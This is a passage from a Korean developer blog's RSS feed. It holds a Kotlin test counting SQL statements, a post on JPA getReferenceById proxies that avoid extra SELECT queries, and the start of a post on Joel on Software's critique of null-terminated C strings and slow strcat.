import com.dblab.jpa.proxy.ProdForExternalSystem
import com.dblab.jpa.proxy.ProdForExternalSystemRepository
import com.dblab.jpa.proxy.ProdRepository
import com.dblab.jpa.proxy.Vendor
import com.dblab.jpa.proxy.VendorRepository
import io.hypersistence.utils.jdbc.validator.SQLStatementCountValidator
import net.ttddyy.dsproxy.QueryCountHolder
import net.ttddyy.dsproxy.listener.QueryCountStrategy
import net.ttddyy.dsproxy.listener.SingleQueryCountHolder
import org.junit.jupiter.api.AfterEach
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.TestInstance
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import org.springframework.test.annotation.DirtiesContext

@SpringBootTest
class DbLabApplicationTests {

    @Autowired
    lateinit var prodRepository: ProdRepository

    @Autowired
    lateinit var prodForExternalSystemRepository: ProdForExternalSystemRepository

    @Autowired
    lateinit var vendorRepository: VendorRepository

    @Autowired
    lateinit var queryCountStrategy: QueryCountStrategy


    @BeforeEach
    fun setUp() {
        println(&quot;=== Before Test ===&quot;)

        // clear 전
        println(&quot;Before clear - Grand Total: ${QueryCountHolder.getGrandTotal().insert}&quot;)
        println(&quot;Before clear - DataSources: ${QueryCountHolder.getDataSourceNames()}&quot;)

        if (::queryCountStrategy.isInitialized &amp;amp;&amp;amp; queryCountStrategy is SingleQueryCountHolder) {
            (queryCountStrategy as SingleQueryCountHolder).clear()
        }

        // clear 후
        println(&quot;After clear - Grand Total: ${QueryCountHolder.getGrandTotal().insert}&quot;)
        println(&quot;After clear - DataSources: ${QueryCountHolder.getDataSourceNames()}&quot;)
    }

    @Test
    fun `연관관계를 조회한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = &quot;상품&quot;, vendor = vendorRepository.findById(vendor.id).orElseThrow())
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(3)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(1)
    }

    @Test
    fun `연관관계 없이 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = ProdForExternalSystem(name = &quot;상품&quot;, vendorId = vendor.id)
        prodForExternalSystemRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    @Test
    fun `프록시를 사용한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = &quot;상품&quot;, vendor = vendorRepository.getReferenceById(vendor.id))
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    private fun createVendor() = Vendor(
        name = &quot;test_vendor&quot;,
        code = &quot;code&quot;
    )
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 3개가 모두 성공적으로 통과했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqnJvR/dJMcaaDIFuz/BomcY9vspSpZYBq45wxVMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqnJvR/dJMcaaDIFuz/BomcY9vspSpZYBq45wxVMK/img.png&quot; data-alt=&quot;테스트 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqnJvR/dJMcaaDIFuz/BomcY9vspSpZYBq45wxVMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqnJvR%2FdJMcaaDIFuz%2FBomcY9vspSpZYBq45wxVMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;82&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;테스트 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오랜만에 소스 코드를 열심히 들여다 본 것 같다. 역시 라이브러리는 똑바로 알고 쓰는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋은 경험이었다..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상으로 포스팅을 마칩니다. 감사합니다.&lt;/p&gt;</description>
      <category>개발</category>
      <category>assertions</category>
      <category>DataSource-Proxy</category>
      <category>hibernate</category>
      <category>JPA</category>
      <category>junit</category>
      <category>Proxy</category>
      <category>QueryCountStrategy</category>
      <category>SQL COUNT</category>
      <category>SQLStatementCountValidator</category>
      <category>test</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/367</guid>
      <comments>https://devdebin.tistory.com/367#entry367comment</comments>
      <pubDate>Tue, 25 Nov 2025 23:12:26 +0900</pubDate>
    </item>
    <item>
      <title>JPA 거짓 연관 관계 맺기(프록시)</title>
      <link>https://devdebin.tistory.com/366</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;동일한 테이블의 2개의 엔티티&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사 프로젝트에 아래 예시 코드와 유사한 코드가 존재한다.&lt;/p&gt;
&lt;pre id=&quot;code_1763788140628&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Table(name = &quot;prod&quot;)
@Entity
class Prod(
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    val id: Long = 0,

    @Column(name = &quot;name&quot;)
    val name: String,

    @JoinColumn(name = &quot;vendor_id&quot;)
    @ManyToOne(fetch = FetchType.LAZY)
    val vendor: Vendor,

    /**
     * 더 연관 관계가 있다고 가정
     */
)

@Table(name = &quot;prod&quot;)
@Entity
class ProdForExternalSystem(
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    val id: Long = 0,

    @Column(name = &quot;name&quot;)
    val name: String,

    // @ManyToOne, @OneToOne 등 연관 관계를 제거하고 외래 키 값만 보유한다.
    @Column(name = &quot;vendor_id&quot;)
    val vendorId: Long,
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Prod 엔티티는 실제 비즈니스를 해결하기 위해서 적극적으로 사용하는 클래스&lt;/li&gt;
&lt;li&gt;ProdForExternalSystem 엔티티는 배치를 통해 외부 시스템과 연동할 때 사용하는 클래스&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 클래스는 모두 공통적으로 같은 테이블인 prod를 보고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 왜 이렇게 분리가 되어있을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 히스토리를 추적해보니 Prod에서 @ManyToOne, @OneToOne 등 연관 관계를 조회해서 배치에서 저장하는게 싫어, ProdForExternalSystem을 작성했다고 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 코드로 예시를 작성해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1412&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxbsZz/dJMcafrtF43/VC9uy08OPSX6WDbJ4MhFfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxbsZz/dJMcafrtF43/VC9uy08OPSX6WDbJ4MhFfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxbsZz/dJMcafrtF43/VC9uy08OPSX6WDbJ4MhFfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxbsZz%2FdJMcafrtF43%2FVC9uy08OPSX6WDbJ4MhFfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1412&quot; height=&quot;272&quot; data-origin-width=&quot;1412&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 조회 쿼리가 1번 실행된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1204&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBHtGI/dJMcafyfiZN/0ain8KnqllzDhpsDCTJKN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBHtGI/dJMcafyfiZN/0ain8KnqllzDhpsDCTJKN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBHtGI/dJMcafyfiZN/0ain8KnqllzDhpsDCTJKN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBHtGI%2FdJMcafyfiZN%2F0ain8KnqllzDhpsDCTJKN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1204&quot; height=&quot;154&quot; data-origin-width=&quot;1204&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 아래와 같이 id를 직접 저장하는 로직이 탄생했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1100&quot; data-origin-height=&quot;282&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckPOgB/dJMcaf55gGz/vinKmOoXDODme8NEl0Wkf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckPOgB/dJMcaf55gGz/vinKmOoXDODme8NEl0Wkf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckPOgB/dJMcaf55gGz/vinKmOoXDODme8NEl0Wkf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckPOgB%2FdJMcaf55gGz%2FvinKmOoXDODme8NEl0Wkf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1100&quot; height=&quot;282&quot; data-origin-width=&quot;1100&quot; data-origin-height=&quot;282&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조회 쿼리는 실행되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1088&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8dVsc/dJMcabvQrcE/ijj1ETxAvz7kzUHwcNLyiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8dVsc/dJMcabvQrcE/ijj1ETxAvz7kzUHwcNLyiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8dVsc/dJMcabvQrcE/ijj1ETxAvz7kzUHwcNLyiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8dVsc%2FdJMcabvQrcE%2Fijj1ETxAvz7kzUHwcNLyiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1088&quot; height=&quot;100&quot; data-origin-width=&quot;1088&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;코드에 대한 생각&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 하나의 테이블에서 2개의 엔티티 클래스를 작성하는 일은 실무에서 빈번하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제일 많이 들은 사례는 어드민 엔티티와 고객 엔티티를 분리하는 일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드처럼 동일한 테이블인데, 연동 엔티티와 비즈니스 엔티티를 분리하는 건 괜찮은 분리라고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단일 책임 원칙을 잘 지킨 느낌이랄까 ?!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 코드 히스토리에 남은 것처럼 의도가 중요하다고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 조회를 한 번하고 연관관계를 매핑 하는게 싫어서, 분리한 것이라면 다른 멋진 대안이 존재한다.&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;바로 JpaRepository 인터페이스의 getReferenceById 메서드를 사용하면 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JpaRepository 인터페이스의 구현체인 SimpleJpaRepository의 getReferenceById를 보면 구현이 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/duC8Fq/dJMcaiIsAdN/1AFcQVQAuRkanWU1EdRXj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/duC8Fq/dJMcaiIsAdN/1AFcQVQAuRkanWU1EdRXj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/duC8Fq/dJMcaiIsAdN/1AFcQVQAuRkanWU1EdRXj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FduC8Fq%2FdJMcaiIsAdN%2F1AFcQVQAuRkanWU1EdRXj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;194&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메서드는 &lt;b&gt;JPA 프록시 객체&lt;/b&gt;를 반환하는 메서드다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 메서드를 사용하면 DB 조회를 하지 않고, 프록시 객체를 반환해 연관관계 매핑을 조회 없이 진행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1354&quot; data-origin-height=&quot;284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BYlqi/dJMcabP83Mi/zAD3RTOPziC09zYVtnedc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BYlqi/dJMcabP83Mi/zAD3RTOPziC09zYVtnedc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BYlqi/dJMcabP83Mi/zAD3RTOPziC09zYVtnedc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBYlqi%2FdJMcabP83Mi%2FzAD3RTOPziC09zYVtnedc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1354&quot; height=&quot;284&quot; data-origin-width=&quot;1354&quot; data-origin-height=&quot;284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 쿼리를 살펴보면 조회 쿼리가 안나간걸 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tPRyX/dJMcad1rLOj/EspRTHjai80PAT55RZi7cK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tPRyX/dJMcad1rLOj/EspRTHjai80PAT55RZi7cK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tPRyX/dJMcad1rLOj/EspRTHjai80PAT55RZi7cK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtPRyX%2FdJMcad1rLOj%2FEspRTHjai80PAT55RZi7cK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;118&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;getReferenceById를 통한 프록시를 반환을 사용해 조회 쿼리 없이 연관 관계 매핑하는 법을 알아봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사 코드를 수정할지는 고민 중에 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 역할에 따른 엔티티 클래스 분리는 괜찮지 않을까..?! 라는 생각이 문득 들었다. (의도와는 다르지만!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 포스팅에서는 실행된 쿼리를 직접 눈으로 보며 검증을 진행했는데, 다음 포스팅에서는 실행된 쿼리를 검증하는 자동화된 테스트에 대해 알아보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/JPA</category>
      <category>getReferenceById</category>
      <category>JPA</category>
      <category>Proxy</category>
      <category>spring</category>
      <category>Spring Data JPA</category>
      <category>SQL</category>
      <category>test</category>
      <category>연관관계</category>
      <category>프록시</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/366</guid>
      <comments>https://devdebin.tistory.com/366#entry366comment</comments>
      <pubDate>Sat, 22 Nov 2025 15:57:07 +0900</pubDate>
    </item>
    <item>
      <title>기본으로 돌아가기</title>
      <link>https://devdebin.tistory.com/365</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 조엘 온 소프트웨어 2장 관련 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;C 언어 관련&amp;nbsp;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C 문자열은 값이 \0, 널 문자(null character) 로 끝난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 방식에는 명백한 두 가지 문제점이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&amp;nbsp;널 문자를 찾아서 문자열 끝까지 가보기 전에는 끝을 알아내는 방법이 없다.&lt;/li&gt;
&lt;li&gt;문자열 내부에는 어떤 \0 값도 포함할 수 없으므로, JPEG 그림과 같은 비정형 이진 자료를 C 문자열 내부에 저장할 수 없다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인이 판단하기로는 C의 일반적인 문자열 함수로 다루고 싶다면 널 문자를 사용할 수 없다는 의미인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 방식을 ASCIZ 문자열이라고 하는데, ASCII Zero-terminated의 약어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면 ASCIZ 문자열은 &lt;b&gt;ASCII 문자들로 이루어지고, 끝에 널 문자 \0이 붙는 문자열&lt;/b&gt;을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책에서는 해당 방식이 문자열을 저장하는 최악의 방법 중 하나이며, 실무에서 사용하는 것을 추천하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 그런 것일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열 하나를 다른 문자열에 덧붙이는 함수인 strcat를 구현하면서 그 이유를 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1763387517784&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void strcat(char* dest, char* src) 
{
    while (*dest) dest++;      
    while (*dest ++ = *src++);   
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;256&quot; data-start=&quot;227&quot; data-ke-size=&quot;size26&quot;&gt;1. while (*dest) dest++;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;367&quot; data-start=&quot;266&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;326&quot; data-start=&quot;266&quot;&gt;dest가 가리키는 곳의 문자가 &lt;b&gt;널 문자('\0')가 아닐 동안&lt;/b&gt; 포인터를 한 칸씩 이동한다.&lt;/li&gt;
&lt;li data-end=&quot;367&quot; data-start=&quot;327&quot;&gt;즉, &lt;b&gt;dest 문자열의 끝(널 문자 위치)을 찾는 과정이다.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;378&quot; data-start=&quot;369&quot; data-ke-size=&quot;size23&quot;&gt;  예시&lt;/h3&gt;
&lt;p data-end=&quot;406&quot; data-start=&quot;379&quot; data-ke-size=&quot;size16&quot;&gt;dest = &quot;Hello&quot;라면 메모리 구조는:&lt;/p&gt;
&lt;p data-end=&quot;434&quot; data-start=&quot;408&quot; data-ke-size=&quot;size16&quot;&gt;| H | e | l | l | o | \0 |&lt;/p&gt;
&lt;p data-end=&quot;462&quot; data-start=&quot;436&quot; data-ke-size=&quot;size16&quot;&gt;dest 포인터는 \0 위치까지 전진합니다.&lt;/p&gt;
&lt;p data-end=&quot;462&quot; data-start=&quot;436&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;502&quot; data-start=&quot;469&quot; data-ke-size=&quot;size26&quot;&gt;2. while (*dest++ = *src++);&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;650&quot; data-start=&quot;513&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;547&quot; data-start=&quot;513&quot;&gt;*src의 문자 값을 *dest 위치에 복사한다.&lt;/li&gt;
&lt;li data-end=&quot;596&quot; data-start=&quot;548&quot;&gt;그리고 dest와 src 모두 후위 증가 연산자 ++로 다음 문자로 이동한다.&lt;/li&gt;
&lt;li data-end=&quot;650&quot; data-start=&quot;597&quot;&gt;복사한 값이 0 ('\0')이 되면 while 조건이 false가 되어 반복 종료한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;690&quot; data-start=&quot;652&quot; data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;src의 모든 문자를 dest 끝에 붙이는 반복문&lt;/b&gt;입니다.&lt;/p&gt;
&lt;p data-end=&quot;690&quot; data-start=&quot;652&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;690&quot; data-start=&quot;652&quot; data-ke-size=&quot;size16&quot;&gt;해당 코드에는 문제가 있는데, 여러 사람 이름을 문자열 하나에 이어 붙인다고 가정해보자.&lt;/p&gt;
&lt;p data-end=&quot;690&quot; data-start=&quot;652&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1763387809684&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char bigString[1000]; // 얼마나 할당해야 하는지 모름

bigString[0] = '\0';

strcat(bigString, &quot;John, &quot;);
strcat(bigString, &quot;Paul, &quot;);
strcat(bigString, &quot;Geprge, &quot;);
strcat(bigString, &quot;Joel &quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열 백만 개를 덧붙인다면, 이런 방식이 올바르게 작용할까? 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strcat의 첫 부분은 매번 널 문자를 찾아 목적지 문자열을 헤매야하므로, strcat 함수는 매우 느리며, 작업 규모가 커지면 성능이 현저히 떨어진다. 해당 코드는 &lt;b&gt;O(n&amp;sup2;)&lt;/b&gt; 시간 복잡도를 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
